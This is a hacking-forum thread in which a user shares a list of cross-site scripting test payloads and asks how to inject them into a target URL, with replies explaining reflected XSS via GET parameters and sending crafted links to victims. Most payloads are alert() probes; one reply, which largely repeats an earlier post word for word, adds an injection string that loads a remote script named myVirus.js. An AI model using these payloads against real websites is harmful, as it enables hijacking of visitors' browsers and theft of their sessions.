[Hack3rcon]

Hello,
I found a list of XSS attacks like below:

Code:

<script>alert(123);</script> <ScRipT>alert("XSS");</ScRipT> <script>alert(123)</script> <script>alert("hellox worldss");</script> <script>alert(“XSS”)</script> <script>alert(“XSS”);</script> <script>alert(‘XSS’)</script> “><script>alert(“XSS”)</script> <script>alert(/XSS”)</script> <script>alert(/XSS/)</script> </script><script>alert(1)</script> ‘; alert(1); ‘)alert(1);// <ScRiPt>alert(1)</sCriPt> <IMG SRC=jAVasCrIPt:alert(‘XSS’)> <IMG SRC=”javascript:alert(‘XSS’);”> <IMG SRC=javascript:alert(&quot;XSS&quot;)> <IMG SRC=javascript:alert(‘XSS’)> <img src=xss onerror=alert(1)>

If my target is "https://www.example.com" then I should use something like "https://www.example.com/<script>alert(123);</script>"?

Thank you.

[SCARIO]

as if the list repeats the same

[Hack3rcon]

as if the list repeats the same

Is "https://www.example.com/<script>alert(123);</script>" OK?

[PITI]

Search in Github
Seclist
a lot of payloads!

[mothered]

Moved from the Hacking Tools forum to Website & Server Hacking.

[Oni]

All those are, are alerts that could be used on any typical webpage. Where you would use them, would differ based on the site and vulnerability.

[DedSpace]

What's going on in all of those scripts is making a little alert box pop up saying "123", "XSS" etc. there is no actual exploit there. Those are useful however for when you do find an actual XSS vulnerability, to test if the page actually is vulnerable.

If you want to do any XSS exploitation, you need to learn Javascript. In your browser, right click on something in this page then click "Inspect Element". You should now have a little section in the bottom or side of your browser with the HTML of this webpage. Now select "Console" tab in the section where the code is. Now type in:

Code:

alert("Hello, World!")

And press enter. You should see a little box pop up saying "Hello, World!". Writing JS into the console will only affect your own browser, so is of no use for XSS, but I just thought you should see JS in action before learning about XSS.

Cross Site Scripting (XSS) is when you are able to inject javascript into the webpage, usually through some user input field which can also be set in a GET request in the URL. So if there was a website which sends your input through a GET request which was also vulnerable to XSS like a search box or something, you would put your malicious script in the search box (with "<script>" tags), and then the script would be a part of the HTML and would execute when loaded in your browser. So if the GET request was in the URL, you could copy the URL and send it to a victim and the script would run in their browser.

[Isikbenisk]

What's going on in all of those scripts is making a little alert box pop up saying "123", "XSS" etc. there is no actual exploit there. Those are useful however for when you do find an actual XSS vulnerability, to test if the page actually is vulnerable.

If you want to do any XSS exploitation, you need to learn Javascript. In your browser, right click on something in this page then click "Inspect Element". You should now have a little section in the bottom or side of your browser with the HTML of this webpage. Now select "Console" tab in the section where the code is. Now type in:

Code:

alert("Hello, World!")

And press enter. You should see a little box pop up saying "Hello, World!". Writing JS into the console will only affect your own browser, so is of no use for XSS, but I just thought you should see JS in action before learning about XSS.

Cross Site Scripting (XSS) is when you are able to inject javascript into the webpage, usually through some user input field which can also be set in a GET request in the URL. So if there was a website which sends your input through a GET request which was also vulnerable to XSS like a search box or something, you would put your malicious script in the search box (with "<script>" tags), and then the script would be a part of the HTML and would execute when loaded in your browser. So if the GET request was in the URL, you could copy the URL and send it to a victim and the script would run in their browser.

/id?=12"><script src="http://10.10.10.8/myVirus.js" />

[PhantomIN]

This are just payloads. In order to execute them u need to find vulnerable parameter. for eg. https://example.com/search?q=<script>alert(1)</script> here if ?q parameter is vulnerable then alert will be triggered.